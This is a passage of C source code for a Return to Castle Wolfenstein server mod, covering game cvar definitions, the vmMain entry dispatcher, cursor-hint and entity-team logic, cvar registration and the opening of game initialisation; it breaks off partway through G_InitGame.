{&g_autoSniper, "g_autoSniper", "0", CVAR_LATCH, qtrue},
{&g_ShowHighlights, "g_ShowHighlights", "1", 0, qtrue},
{&g_AutoSpawnTimes, "g_AutoSpawnTimes", "0", 0, qtrue},
{&g_AutoHeavyWeapons, "g_AutoHeavyWeapons", "1", 0, qfalse},
{&g_autoTeamBalance, "g_autoTeamBalance", "1", 0, qtrue},
{&g_needBalance, "g_needBalance", "0", CVAR_CHEAT, qfalse},
{&g_RedDefaultSpawnTime, "g_RedDefaultSpawnTime", "", CVAR_ROM|CVAR_CHEAT, qfalse},
{&g_BlueDefaultSpawnTime, "g_BlueDefaultSpawnTime", "", CVAR_ROM|CVAR_CHEAT, qfalse},
{&g_ltExtraAirstrike, "g_ltExtraAirstrike", "1", CVAR_LATCH, qfalse},
{&g_gibPoints, "g_gibPoints", "1", CVAR_LATCH, qfalse},
//{&Players_Allies, "Players_Allies", "(None)", CVAR_SERVERINFO | CVAR_CHEAT, qfalse},
//{&Players_Axis, "Players_Axis", "(None)", CVAR_SERVERINFO | CVAR_CHEAT, qfalse},
//{&Players_Spec, "Players_Spec", "(None)", CVAR_SERVERINFO | CVAR_CHEAT, qfalse},
{&g_autoTap, "g_autoTap", "0", CVAR_LATCH, qfalse},
{&g_maxAirstrikes, "g_maxAirstrikes", "-1", CVAR_LATCH, qfalse},
{&g_showHitBoxes, "g_showHitBoxes", "0", CVAR_CHEAT, qtrue},
// martin - fixed physics
{&g_fixedphysics, "g_fixedphysics", "1", CVAR_SERVERINFO, qfalse },
{&g_demo, "g_demo", "0", CVAR_ROM|CVAR_CHEAT, qfalse},
{&g_fastCrouchStamina, "g_fastCrouchStamina", "1", 0, qfalse},
{&g_noSameTeamDefuse, "g_noSameTeamDefuse", "1", CVAR_LATCH, qfalse},
{&g_truePing, "g_truePing", "1", CVAR_LATCH, qfalse},
{&g_anticheat, "g_anticheat", "1", CVAR_SERVERINFO | CVAR_ROM | CVAR_CHEAT, qfalse },
{&g_shortcuts, "g_shortcuts", "1", 0, 0, qtrue},
{&g_needpass, "g_needpass", "0", CVAR_SERVERINFO | CVAR_CHEAT, qfalse},
{&g_binocWar, "g_binocWar", "3", 0, 0, qtrue},
{&Uptime, "Uptime", "", CVAR_SERVERINFO | CVAR_CHEAT, qfalse},
{ &g_fakePing, "g_fakePing", "0", CVAR_ARCHIVE, qfalse},
{ &g_friendlyFireKnockback, "g_friendlyFireKnockback", "1", 0, qtrue},
{&g_spawnTimer, "g_spawnTimer", "1", 0, qtrue},
{&g_showLifeStats, "g_showLifeStats", "1", 0, qtrue},
{&g_undeadRevives, "g_undeadRevives", "0", 0, qtrue},
//set these cvars on the connecting clients :D
{0, "r_vertexlight", "1", CVAR_SYSTEMINFO, qfalse}, // Fix problem on tundra rush, others.
{0, "cl_allowdownload", "1", CVAR_SYSTEMINFO, qfalse}, // New maps :D
{0, "r_znear", "1", CVAR_SYSTEMINFO, qfalse}, // no wall glitching
{0, "rate", "25000", CVAR_SYSTEMINFO, qfalse}, // Most people have broadband now...
{0, "snaps", "1000", CVAR_SYSTEMINFO, qfalse}, // Turn up fps for fast downloads
//{0, "centerview", "0", CVAR_SYSTEMINFO, qfalse}, // noob
{0, "cg_predictitems", "0", CVAR_SYSTEMINFO, qfalse}, // People wont see themselves pick up extra ammopacks now
{0, "cl_anonymous", "0", CVAR_SYSTEMINFO, qfalse},
{0, "r_depthbits", "24", CVAR_SYSTEMINFO, qfalse}, // Fix bug where players can see through walls with this at 16
{0, "cl_timenudge", "0", CVAR_SYSTEMINFO, qfalse}, // With antilag, TN 0 is best
//end agent
{&g_antilag, "g_antilag", "1", CVAR_SERVERINFO, 0, qtrue },
{&g_antilagVersion, "g_antilagVersion", "1.3", CVAR_SERVERINFO | CVAR_ROM |CVAR_CHEAT, 0, qfalse },
#ifdef OMNIBOT
{ &g_OmniBotPath, "omnibot_path", "", CVAR_ARCHIVE | CVAR_NORESTART, 0, qfalse },
{ &g_OmniBotPlaying, "omnibot_playing", "0", CVAR_ROM, 0, qfalse },
{ &g_OmniBotFlags, "omnibot_flags", "0", CVAR_ARCHIVE | CVAR_NORESTART, 0, qfalse },
{ &g_OmniBotGib, "g_botGib", "1", CVAR_ARCHIVE, 0, qtrue},
{ &g_botTeam, "g_botTeam", "0", CVAR_SERVERINFO, qfalse},
#endif
// L0
{ &g_FirstBlood, "g_FirstBlood", "1", CVAR_ARCHIVE|CVAR_LATCH, 0, qfalse },
{ &g_redDrawFirst, "g_redDrawFirst", "0", CVAR_ROM, 0, qfalse, qtrue },
{ &g_blueDrawFirst, "g_blueDrawFirst", "0", CVAR_ROM, 0, qfalse, qtrue },
{ &g_doubleKills, "g_doubleKills", "1", CVAR_ARCHIVE, 0, qfalse },
{ &g_screenShake, "g_screenShake", "2", CVAR_ARCHIVE, 0, qfalse } // default is 4 - so 2 is half of the screen shaking on Air Strikes...
// L0 - end
};
// bk001129 - made static to avoid aliasing
static int gameCvarTableSize = sizeof( gameCvarTable ) / sizeof( gameCvarTable[0] );
void G_InitGame( int levelTime, int randomSeed, int restart );
void G_RunFrame( int levelTime );
void G_ShutdownGame( int restart );
void CheckExitRules( void );
#ifdef OMNIBOT
void G_HandleMessage(int _clientfrom, const char *_buffer, int _messagesize, int _commandtime);
#endif
// Ridah, Cast AI
qboolean AICast_VisibleFromPos( vec3_t srcpos, int srcnum,
vec3_t destpos, int destnum, qboolean updateVisPos );
qboolean AICast_CheckAttackAtPos(int entnum, int enemy, vec3_t pos, qboolean ducking, qboolean allowHitWorld);
void AICast_Init (void);
// done.
void G_RetrieveMoveSpeedsFromClient( int entnum, char *text );
/*
================
vmMain
This is the only way control passes into the module.
This must be the very first function compiled into the .q3vm file
================
*/
qboolean detoured;
#if defined(__MACOS__)
#pragma export on
#endif
int vmMain( int command, int arg0, int arg1, int arg2, int arg3, int arg4, int arg5, int arg6 ) {
#if defined(__MACOS__)
#pragma export off
#endif
// if(!detoured){
// orig_SV_BeginDownload = DetourFunction( (LPBYTE)0x00433C80 , (LPBYTE)SV_BeginDownload_Hook );
// detoured=qtrue;
// }
switch ( command ) {
case GAME_INIT:
#ifdef OMNIBOT
Bot_Interface_InitHandles();
#endif
G_InitGame( arg0, arg1, arg2 );
#ifdef OMNIBOT
if (!Bot_Interface_Init())
G_Printf(S_COLOR_RED "Unable to Initialize Omni-Bot.\n");
#endif
return 0;
case GAME_SHUTDOWN:
#ifdef OMNIBOT
if (!Bot_Interface_Shutdown())
G_Printf(S_COLOR_RED "Error shutting down Omni-Bot.\n");
#endif
G_ShutdownGame( arg0 );
return 0;
case GAME_CLIENT_CONNECT:
return (int)ClientConnect( arg0, arg1, arg2 );
case GAME_CLIENT_THINK:
ClientThink( arg0 );
return 0;
case GAME_CLIENT_USERINFO_CHANGED:
ClientUserinfoChanged( arg0 );
return 0;
case GAME_CLIENT_DISCONNECT:
ClientDisconnect( arg0 );
return 0;
case GAME_CLIENT_BEGIN:
ClientBegin( arg0 );
return 0;
case GAME_CLIENT_COMMAND:
ClientCommand( arg0 );
return 0;
#ifdef OMNIBOT
case GAME_MESSAGERECEIVED:
{
int iClientFrom = arg0;
const char *pBuffer = (const char *)arg1;
int iBufferLength = arg2;
int iCommandTime = arg3;
G_HandleMessage(iClientFrom, pBuffer, iBufferLength, iCommandTime);
return -1;
}
#endif //OMNIBOT
case GAME_RUN_FRAME:
G_RunFrame( arg0 );
#ifdef OMNIBOT
Bot_Interface_Update();
#endif
return 0;
case GAME_CONSOLE_COMMAND:
return ConsoleCommand();
case GAME_RETRIEVE_MOVESPEEDS_FROM_CLIENT:
G_RetrieveMoveSpeedsFromClient( arg0, (char *)arg1 );
return 0;
}
return -1;
}
void QDECL G_Printf( const char *fmt, ... ) {
va_list argptr;
char text[1024];
va_start (argptr, fmt);
vsprintf (text, fmt, argptr);
va_end (argptr);
trap_Printf( text );
}
void QDECL G_DPrintf( const char *fmt, ... ) {
va_list argptr;
char text[1024];
if (!g_developer.integer)
return;
va_start (argptr, fmt);
vsprintf (text, fmt, argptr);
va_end (argptr);
trap_Printf( text );
}
void QDECL G_Error( const char *fmt, ... ) {
va_list argptr;
char text[1024];
va_start (argptr, fmt);
vsprintf (text, fmt, argptr);
va_end (argptr);
S4ND_Log("!!!!!ERROR!!!!!: %s",text);
trap_Error( text );
}
#define CH_KNIFE_DIST 48 // from g_weapon.c
#define CH_LADDER_DIST 100
#define CH_WATER_DIST 100
#define CH_BREAKABLE_DIST 64
#define CH_DOOR_DIST 96
#define CH_ACTIVATE_DIST 96
#define CH_EXIT_DIST 256
#define CH_MAX_DIST 256 // use the largest value from above
#define CH_MAX_DIST_ZOOM 8192 // max dist for zooming hints
#ifdef OMNIBOT
qboolean G_EmplacedGunIsMountable( gentity_t* ent, gentity_t* other ) {
if( Q_stricmp( ent->classname, "misc_mg42" ) && Q_stricmp( ent->classname, "misc_aagun" ) ) {
return qfalse;
}
if( !other->client ) {
return qfalse;
}
if( BG_IsScopedWeapon( other->client->ps.weapon ) ) {
return qfalse;
}
if( other->client->ps.pm_flags & PMF_DUCKED ) {
return qfalse;
}
if( other->client->ps.persistant[PERS_HWEAPON_USE] ) {
return qfalse;
}
if( ent->r.currentOrigin[2] - other->r.currentOrigin[2] >= 40 ) {
return qfalse;
}
if( ent->r.currentOrigin[2] - other->r.currentOrigin[2] < 0 ) {
return qfalse;
}
if( ent->s.frame != 0 ) {
return qfalse;
}
if( ent->active ) {
return qfalse;
}
if( other->client->ps.grenadeTimeLeft ) {
return qfalse;
}
if( infront( ent, other ) ) {
return qfalse;
}
return qtrue;
}
qboolean G_EmplacedGunIsRepairable( gentity_t* ent, gentity_t* other ) {
if( Q_stricmp( ent->classname, "misc_mg42" ) && Q_stricmp( ent->classname, "misc_aagun" ) ) {
return qfalse;
}
if( !other->client ) {
return qfalse;
}
if( BG_IsScopedWeapon( other->client->ps.weapon ) ) {
return qfalse;
}
if( other->client->ps.persistant[PERS_HWEAPON_USE] ) {
return qfalse;
}
if( ent->s.frame == 0 ) {
return qfalse;
}
return qtrue;
}
#endif //OMNIBOT
/*
==============
G_CheckForCursorHints
non-AI's check for cursor hint contacts
server-side because there's info we want to show that the client
just doesn't know about. (health or other info of an explosive,invisible_users,items,etc.)
traceEnt is the ent hit by the trace, checkEnt is the ent that is being
checked against (in case the traceent was an invisible_user or something)
==============
*/
void G_CheckForCursorHints(gentity_t *ent) {
vec3_t forward, right, up, offset, end;
trace_t *tr;
float dist;
gentity_t *checkEnt, *traceEnt = 0;
//gentity_t *traceEnt2 = 0; // JPW NERVE // TTimo unused
playerState_t *ps;
int hintType, hintDist, hintVal;
qboolean zooming, indirectHit; // indirectHit means the checkent was not the ent hit by the trace (checkEnt!=traceEnt)
int trace_contents; // DHM - Nerve
// FIXME: no need at all to do this trace/string comparison every frame.
// stagger it at least a little bit
// if(!servercursorhints)
// return;
#ifndef OMNIBOT
if(!ent->client)
return;
#else
if(!ent->client || ent->r.svFlags & SVF_BOT)
return;
#endif
ps = &ent->client->ps;
if(ps->aiChar != AICHAR_NONE)
return;
indirectHit = qfalse;
zooming = (qboolean)(ps->eFlags & EF_ZOOMING);
AngleVectors (ps->viewangles, forward, right, up);
VectorCopy( ps->origin, offset );
offset[2] += ps->viewheight;
// lean
if(ps->leanf) {
VectorMA(offset, ps->leanf, right, offset);
}
// SnapVector( offset );
if(zooming)
VectorMA (offset, CH_MAX_DIST_ZOOM, forward, end);
else
VectorMA (offset, CH_MAX_DIST, forward, end);
tr = &ps->serverCursorHintTrace;
// DHM - Nerve
if ( g_gametype.integer == GT_SINGLE_PLAYER )
trace_contents = (CONTENTS_TRIGGER|CONTENTS_SOLID|CONTENTS_PLAYERCLIP|CONTENTS_BODY);
else
trace_contents = (CONTENTS_TRIGGER|CONTENTS_SOLID|CONTENTS_PLAYERCLIP|CONTENTS_BODY|CONTENTS_CORPSE);
trap_Trace (tr, offset, NULL, NULL, end, ps->clientNum, trace_contents);
// dhm - end
// reset all
hintType = ps->serverCursorHint = HINT_NONE;
hintVal = ps->serverCursorHintVal = 0;
if(zooming) {
dist = tr->fraction * CH_MAX_DIST_ZOOM;
hintDist = CH_MAX_DIST_ZOOM;
} else {
dist = tr->fraction * CH_MAX_DIST;
hintDist = CH_MAX_DIST;
}
if(tr->fraction == 1) {
return;
}
traceEnt = &g_entities[tr->entityNum];
// DHM - Nerve :: Ignore trigger_objective_info
if ( (ps->stats[ STAT_PLAYER_CLASS ] != PC_MEDIC && traceEnt->client)
|| !(strcmp(traceEnt->classname, "trigger_objective_info"))
|| !(strcmp(traceEnt->classname, "trigger_multiple")) ) {
trap_Trace (tr, offset, NULL, NULL, end, traceEnt->s.number, trace_contents);
if(zooming) {
dist = tr->fraction * CH_MAX_DIST_ZOOM;
hintDist = CH_MAX_DIST_ZOOM;
} else {
dist = tr->fraction * CH_MAX_DIST;
hintDist = CH_MAX_DIST;
}
if(tr->fraction == 1) {
return;
}
traceEnt = &g_entities[tr->entityNum];
}
//
// WORLD
//
if(tr->entityNum == ENTITYNUM_WORLD) {
if ((tr->contents & CONTENTS_WATER) && !(ps->powerups[PW_BREATHER])) {
hintDist = CH_WATER_DIST;
hintType = HINT_WATER;
}
// ladder
else if( (tr->surfaceFlags & SURF_LADDER) && !(ps->pm_flags & PMF_LADDER) ) {
hintDist = CH_LADDER_DIST;
hintType = HINT_LADDER;
}
}
//
// PEOPLE
//
else if(tr->entityNum < MAX_CLIENTS ) {
// DHM - Nerve
if ( g_gametype.integer >= GT_WOLF ) {
// Show medics a syringe if they can revive someone
if ( traceEnt->client && traceEnt->client->sess.sessionTeam == ent->client->sess.sessionTeam
&& ps->stats[ STAT_PLAYER_CLASS ] == PC_MEDIC
&& traceEnt->client->ps.pm_type == PM_DEAD
&& !( traceEnt->client->ps.pm_flags & PMF_LIMBO ) ) {
hintDist = 48; // JPW NERVE matches weapon_syringe in g_weapon.c
hintType = HINT_REVIVE;
}
}
// dhm - Nerve
}
//
// OTHER ENTITIES
//
else {
checkEnt = traceEnt;
// check invisible_users first since you don't want to draw a hint based
// on that ent, but rather on what they are targeting.
// so find the target and set checkEnt to that to show the proper hint.
if(traceEnt->s.eType == ET_GENERAL) {
// ignore trigger_aidoor. can't just not trace for triggers, since I need invisible_users...
// damn, I would like to ignore some of these triggers though.
if(!Q_stricmp(traceEnt->classname, "trigger_aidoor")) {
return;
}
if(!Q_stricmp(traceEnt->classname, "func_invisible_user")) {
indirectHit = qtrue;
// DHM - Nerve :: Put this back in only in multiplayer
if(g_gametype.integer >= GT_WOLF && traceEnt->s.dmgFlags) { // hint icon specified in entity
hintType = traceEnt->s.dmgFlags;
hintDist = CH_ACTIVATE_DIST;
checkEnt = 0;
}
else { // use target for hint icon
checkEnt = G_Find (NULL, FOFS(targetname), traceEnt->target);
if(!checkEnt) { // no target found
hintType = HINT_BAD_USER;
hintDist = CH_MAX_DIST_ZOOM; // show this one from super far for debugging
}
}
}
}
if(checkEnt) {
if(checkEnt->s.eType == ET_GENERAL) {
// this is effectively an 'exit' brush. they should be created with:
//
// classname = 'ai_trigger'
// ainame = 'player'
// target = 'endmap'
//
if(!Q_stricmp(traceEnt->classname, "ai_trigger")) {
if( (!Q_stricmp(traceEnt->aiName, "player")) &&
(!Q_stricmp(traceEnt->target, "endmap")) ) {
hintDist = CH_EXIT_DIST;
hintType = HINT_EXIT;
// show distance in the cursorhint bar
hintVal = (int)dist; // range for this hint is 256, so it happens to translate nicely
}
}
if((!Q_stricmp(traceEnt->classname, "misc_mg42")) && (ps->weapon != WP_SNIPERRIFLE) ) { // JPW NERVE no hint if you're scoped in sniperwise
hintDist = CH_ACTIVATE_DIST;
hintType = HINT_MG42;
// JPW NERVE -- busted MG42 shouldn't show a use hint by default
if (traceEnt->health <= 0) {
hintDist = 0;
hintType = HINT_FORCENONE;
ps->serverCursorHint = HINT_FORCENONE;
}
// jpw
// DHM - Nerve :: Engineers can repair turrets
if ( g_gametype.integer >= GT_WOLF ) {
if ( ps->stats[ STAT_PLAYER_CLASS ] == PC_ENGINEER ) {
if ( !traceEnt->takedamage ) {
hintType = HINT_BUILD;
hintDist = CH_BREAKABLE_DIST;
hintVal = traceEnt->health;
if ( hintVal > 255 )
hintVal = 255;
}
}
}
// dhm - end
}
}
else if(checkEnt->s.eType == ET_EXPLOSIVE) {
// if(traceEnt->s.dmgFlags) { // override flag // hint icon specified in entity, this overrides type
// hintType = traceEnt->s.dmgFlags;
// } else {
if ((checkEnt->health > 0) || (checkEnt->spawnflags & 64)) { // JPW NERVE they are now if it's dynamite // 0 health explosives are not breakable
hintDist = CH_BREAKABLE_DIST;
hintType = HINT_BREAKABLE;
// DHM - Nerve :: Show different hint if it can only be destroyed with dynamite
if ( g_gametype.integer >= GT_WOLF && (checkEnt->spawnflags & 64) ) {
// JPW NERVE only show hint for players who can blow it up
vec3_t mins,maxs,range = { 40, 40, 52 };
int i,num;
//int defendingTeam=0; // TTimo unused
int touch[MAX_GENTITIES];
gentity_t *hit = NULL;
VectorSubtract( ent->client->ps.origin, range, mins );
VectorAdd( ent->client->ps.origin, range, maxs );
num = trap_EntitiesInBox( mins, maxs, touch, MAX_GENTITIES );
for ( i=0 ; i<num ; i++ ) {
hit = &g_entities[touch[i]];
if ( !( hit->r.contents & CONTENTS_TRIGGER ) )
continue;
if (!strcmp(hit->classname,"trigger_objective_info")) {
if ( !(hit->spawnflags & (AXIS_OBJECTIVE|ALLIED_OBJECTIVE)) )
continue;
// we're in a trigger_objective_info field with at least one owner, so use this one and bail
break;
}
}
if ( (hit) &&
( ((ent->client->sess.sessionTeam == TEAM_RED) && (hit->spawnflags & ALLIED_OBJECTIVE)) ||
((ent->client->sess.sessionTeam == TEAM_BLUE) && (hit->spawnflags & AXIS_OBJECTIVE)) )
) {
hintDist = CH_BREAKABLE_DIST * 2;
hintType = HINT_BREAKABLE_DYNAMITE;
}
else {
hintDist = 0;
hintType = ps->serverCursorHint = HINT_FORCENONE;
hintVal = ps->serverCursorHintVal = 0;
return;
}
// jpw
}
// dhm - end
hintVal = checkEnt->health; // also send health to client for visualization
}
// }
}
else if(checkEnt->s.eType == ET_ALARMBOX) {
if(checkEnt->health > 0) {
// hintDist = CH_BREAKABLE_DIST;
hintType = HINT_ACTIVATE;
}
}
else if(checkEnt->s.eType == ET_ITEM) {
gitem_t *it;
it = &bg_itemlist[checkEnt->item - bg_itemlist];
hintDist = CH_ACTIVATE_DIST;
switch(it->giType) {
case IT_HEALTH:
hintType = HINT_HEALTH;
break;
case IT_TREASURE:
hintType = HINT_TREASURE;
break;
case IT_CLIPBOARD:
hintType = HINT_CLIPBOARD;
break;
case IT_WEAPON:
// JPW NERVE changed this to be more specific
if (it->giTag != WP_LUGER && it->giTag != WP_COLT) {
if (ps->stats[STAT_PLAYER_CLASS] == PC_SOLDIER) { // soldier can pick up all weapons
hintType = HINT_WEAPON;
break;
}
if (ps->stats[STAT_PLAYER_CLASS] != PC_LT) // medics & engrs can't pick up squat
break;
if (it->giTag == WP_THOMPSON || it->giTag == WP_MP40 || it->giTag == WP_STEN)
hintType = HINT_WEAPON;
}
// jpw
break;
case IT_AMMO:
hintType = HINT_AMMO;
break;
case IT_ARMOR:
hintType = HINT_ARMOR;
break;
case IT_POWERUP:
hintType = HINT_POWERUP;
break;
case IT_HOLDABLE:
hintType = HINT_HOLDABLE;
break;
case IT_KEY:
hintType = HINT_INVENTORY;
break;
case IT_TEAM:
if ( !Q_stricmp( traceEnt->classname, "team_CTF_redflag" ) && ent->client->sess.sessionTeam == TEAM_BLUE )
hintType = HINT_POWERUP;
else if ( !Q_stricmp( traceEnt->classname, "team_CTF_blueflag" ) && ent->client->sess.sessionTeam == TEAM_RED )
hintType = HINT_POWERUP;
break;
case IT_BAD:
default:
break;
}
}
else if (checkEnt->s.eType == ET_MOVER) {
if(!Q_stricmp(checkEnt->classname, "func_door_rotating")) {
if(checkEnt->moverState == MOVER_POS1ROTATE) { // stationary/closed
hintDist = CH_DOOR_DIST;
hintType = HINT_DOOR_ROTATING;
if(checkEnt->key == -1) { // locked
// hintType = HINT_DOOR_ROTATING_LOCKED;
}
}
}
else if(!Q_stricmp(checkEnt->classname, "func_door")) {
if(checkEnt->moverState == MOVER_POS1) { // stationary/closed
hintDist = CH_DOOR_DIST;
hintType = HINT_DOOR;
if(checkEnt->key == -1) { // locked
// hintType = HINT_DOOR_LOCKED;
}
}
}
else if(!Q_stricmp(checkEnt->classname, "func_button")) {
hintDist = CH_ACTIVATE_DIST;
hintType = HINT_BUTTON;
}/*
else if(checkEnt->s.dmgFlags == HINT_CHAIR) {
hintDist = CH_ACTIVATE_DIST;
hintType = HINT_CHAIR;
}*/
}
// DHM - Nerve :: Handle wolf multiplayer hints
if ( g_gametype.integer >= GT_WOLF ) {
if ( checkEnt->s.eType == ET_MISSILE ) {
if ( ps->stats[ STAT_PLAYER_CLASS ] == PC_ENGINEER ) {
hintDist = CH_BREAKABLE_DIST;
hintType = HINT_DISARM;
hintVal = checkEnt->health; // also send health to client for visualization
if ( hintVal > 255 )
hintVal = 255;
}
}
}
// dhm - end
// hint icon specified in entity (and proper contact was made, so hintType was set)
// first try the checkent...
if(checkEnt->s.dmgFlags && hintType) {
hintType = checkEnt->s.dmgFlags;
}
}
// then the traceent
if(traceEnt->s.dmgFlags && hintType) {
hintType = traceEnt->s.dmgFlags;
}
}
if(zooming) {
hintDist = CH_MAX_DIST_ZOOM;
// zooming can eat a lot of potential hints
switch(hintType) {
// allow while zooming
case HINT_PLAYER:
case HINT_TREASURE:
case HINT_LADDER:
case HINT_EXIT:
case HINT_PLYR_FRIEND:
case HINT_PLYR_NEUTRAL:
case HINT_PLYR_ENEMY:
case HINT_PLYR_UNKNOWN:
break;
default:
return;
}
}
if(dist <= hintDist) {
ps->serverCursorHint = hintType;
ps->serverCursorHintVal = hintVal;
}
// Com_Printf("hint: %d\n", ps->serverCursorHint);
}
/*
================
G_FindTeams
Chain together all entities with a matching team field.
Entity teams are used for item groups and multi-entity mover groups.
All but the first will have the FL_TEAMSLAVE flag set and teammaster field set
All but the last will have the teamchain field set to the next one
================
*/
void G_FindTeams( void ) {
gentity_t *e, *e2;
int i, j;
int c, c2;
c = 0;
c2 = 0;
for ( i=1, e=g_entities+i ; i < level.num_entities ; i++,e++ ){
if (!e->inuse)
continue;
if (!e->team)
continue;
if (e->flags & FL_TEAMSLAVE)
continue;
if (!Q_stricmp (e->classname, "func_tramcar"))
{
if (e->spawnflags & 8) // leader
{
e->teammaster = e;
}
else
{
continue;
}
}
c++;
c2++;
for (j=i+1, e2=e+1 ; j < level.num_entities ; j++,e2++)
{
if (!e2->inuse)
continue;
if (!e2->team)
continue;
if (e2->flags & FL_TEAMSLAVE)
continue;
if (!strcmp(e->team, e2->team))
{
c2++;
e2->teamchain = e->teamchain;
e->teamchain = e2;
e2->teammaster = e;
// e2->key = e->key; // (SA) I can't set the key here since the master door hasn't finished spawning yet and therefore has a key of -1
e2->flags |= FL_TEAMSLAVE;
if (!Q_stricmp (e2->classname, "func_tramcar"))
{
trap_UnlinkEntity (e2);
}
// make sure that targets only point at the master
if ( e2->targetname ) {
e->targetname = e2->targetname;
// Rafael
// note to self: added this because of problems
// pertaining to keys and double doors
if (Q_stricmp (e2->classname, "func_door_rotating"))
e2->targetname = NULL;
}
}
}
}
if (trap_Cvar_VariableIntegerValue("g_gametype") != GT_SINGLE_PLAYER) {
G_Printf ("%i teams with %i entities\n", c, c2);
}
}
/*
==============
G_RemapTeamShaders
==============
*/
void G_RemapTeamShaders() {
#ifdef MISSIONPACK
char string[1024];
float f = level.time * 0.001;
Com_sprintf( string, sizeof(string), "team_icon/%s_red", g_redteam.string );
AddRemap("textures/ctf2/redteam01", string, f);
AddRemap("textures/ctf2/redteam02", string, f);
Com_sprintf( string, sizeof(string), "team_icon/%s_blue", g_blueteam.string );
AddRemap("textures/ctf2/blueteam01", string, f);
AddRemap("textures/ctf2/blueteam02", string, f);
trap_SetConfigstring(CS_SHADERSTATE, BuildShaderStateConfig());
#endif
}
/*
=================
G_RegisterCvars
=================
*/
void G_RegisterCvars( void ) {
int i;
cvarTable_t *cv;
qboolean remapped = qfalse;
for ( i = 0, cv = gameCvarTable ; i < gameCvarTableSize ; i++, cv++ ) {
trap_Cvar_Register( cv->vmCvar, cv->cvarName,
cv->defaultString, cv->cvarFlags );
if ( cv->vmCvar )
cv->modificationCount = cv->vmCvar->modificationCount;
if (cv->teamShader) {
remapped = qtrue;
}
}
if (remapped) {
G_RemapTeamShaders();
}
// check some things
// DHM - Gametype is currently restricted to supported types only
if ( g_gametype.integer < GT_WOLF || g_gametype.integer > GT_WOLF_CPH ) { // JPW NERVE WOLF_CPH now highest type
G_Printf( "g_gametype %i is out of range, defaulting to GT_WOLF(5)\n", g_gametype.integer );
trap_Cvar_Set( "g_gametype", "5" );
trap_Cvar_Update( &g_gametype );
}
// Rafael gameskill
if (g_gameskill.integer < GSKILL_EASY || g_gameskill.integer > GSKILL_VERYHARD)
{
G_Printf ( "g_gameskill %i is out of range, default to medium\n", g_gameskill.integer);
trap_Cvar_Set ("g_gameskill", "3"); // default to medium
}
bg_pmove_gameskill_integer = g_gameskill.integer;
// done
level.warmupModificationCount = g_warmup.modificationCount;
}
/*
=================
G_UpdateCvars
=================
*/
void G_UpdateCvars( void ) {
int i;
cvarTable_t *cv;
qboolean remapped = qfalse;
for ( i = 0, cv = gameCvarTable ; i < gameCvarTableSize ; i++, cv++ ) {
if ( cv->vmCvar ) {
trap_Cvar_Update( cv->vmCvar );
if ( cv->modificationCount != cv->vmCvar->modificationCount ) {
cv->modificationCount = cv->vmCvar->modificationCount;
if ( cv->trackChange ) {
trap_SendServerCommand( -1, va("print \"Server: %s ^7changed to %s\n\"",
cv->cvarName, cv->vmCvar->string ) );
}
if (cv->teamShader) {
remapped = qtrue;
}
}
}
}
if (remapped) {
G_RemapTeamShaders();
}
}
/*
==============
G_SpawnScriptCamera
create the game entity that's used for camera<->script communication and portal location for camera view
==============
*/
void G_SpawnScriptCamera(void) {
if(g_camEnt)
G_FreeEntity(g_camEnt);
g_camEnt = G_Spawn();
g_camEnt->scriptName = "scriptcamera";
g_camEnt->s.eType = ET_CAMERA;
g_camEnt->s.apos.trType = TR_STATIONARY;
g_camEnt->s.apos.trTime = 0;
g_camEnt->s.apos.trDuration = 0;
VectorCopy (g_camEnt->s.angles, g_camEnt->s.apos.trBase);
VectorClear (g_camEnt->s.apos.trDelta );
g_camEnt->s.frame = 0;
g_camEnt->r.svFlags |= SVF_NOCLIENT; // only broadcast when in use
if (g_camEnt->s.number >= MAX_CLIENTS && g_camEnt->scriptName) {
G_Script_ScriptParse( g_camEnt);
G_Script_ScriptEvent( g_camEnt, "spawn", "" );
}
}
/*
============
G_InitGame
============
*/
void G_InitGame( int levelTime, int randomSeed, int restart ) {
int i;
char cs[MAX_INFO_STRING];
// char hostname[MAX_INFO_STRING];
char serverIP[MAX_INFO_STRING];
char mapName[64];
char protocol[16];
char ip1[10];
char port[15];
char ip2[10];
char ip3[10];
char ip4[10];
FILE*config;
// FILE*Ice;
// FILE*TrenchToast;
// FILE*soundpack;
time_t rawtime;
// qboolean goodip;
// char *ipcheck;
struct tm * timeinfo;
time ( &rawtime );
timeinfo = localtime ( &rawtime );
trap_Cvar_VariableStringBuffer( "protocol", protocol, sizeof(protocol) );
trap_Cvar_VariableStringBuffer( "mapname", mapName, sizeof(mapName) );
if (trap_Cvar_VariableIntegerValue("g_gametype") != GT_SINGLE_PLAYER) {
G_Printf ("------- Game Initialization -------\n");
G_Printf ("gamename: %s\n", GAMEVERSION);
G_Printf ("gamedate: %s\n", __DATE__);
}
//trap_Cvar_VariableStringBuffer( "sv_hostname", hostname, sizeof(hostname) ); // Martin - Unused
trap_Cvar_VariableStringBuffer("net_ip", serverIP, sizeof(serverIP));
trap_Cvar_VariableStringBuffer("net_port", port, sizeof(port));
//trap_Cvar_Set( "sv_hostname", parseStats(hostname) );
Q_strncpyz ( ip1, "", sizeof( ip1 ) );
Q_strncpyz ( ip2, "", sizeof( ip2 ) );
Q_strncpyz ( ip3, "", sizeof( ip3 ) );
Q_strncpyz ( ip4, "", sizeof( ip4 ) );
Q_strncpyz ( port, "", sizeof( port ) );
srand( randomSeed );
G_RegisterCvars();
G_ProcessIPBans();
G_InitMemory();
// NERVE - SMF - intialize gamestate
if ( g_gamestate.integer == GS_INITIALIZE ) {
if ( g_noTeamSwitching.integer ) {
trap_Cvar_Set( "gamestate", va( "%i", GS_WAITING_FOR_PLAYERS ) );
}
else {
trap_Cvar_Set( "gamestate", va( "%i", GS_WARMUP ) );
}
}
//memset(&automg42s, 0, sizeof(automg42s));
// set some level globals
memset( &level, 0, sizeof( level ) );
level.time = levelTime;
level.startTime = levelTime;
level.maxautomg42s = g_automg42limit.integer*2;
level.snd_fry = G_SoundIndex("sound/player/fry.wav"); // FIXME standing in lava / slime
level.bulletRicochetSound = G_SoundIndex("bulletRicochet");
level.snipersound = G_SoundIndex( "sound/weapons/mauser/mauserf1.wav" );
level.knifeSound[0] = G_SoundIndex("sound/weapons/knife/knife_hitwall1.wav");
// RF, init the anim scripting
level.animScriptData.soundIndex = G_SoundIndex;
level.animScriptData.playSound = G_AnimScriptSound;
if ( g_gametype.integer != GT_SINGLE_PLAYER && g_log.string[0] ) {
if ( g_logSync.integer ) {
trap_FS_FOpenFile( g_log.string, &level.logFile, FS_APPEND_SYNC );
} else {
trap_FS_FOpenFile( g_log.string, &level.logFile, FS_APPEND );
}
if ( !level.logFile ) {
G_Printf( "WARNING: Couldn't open logfile: %s\n", g_log.string );
} else {
char serverinfo[MAX_INFO_STRING];
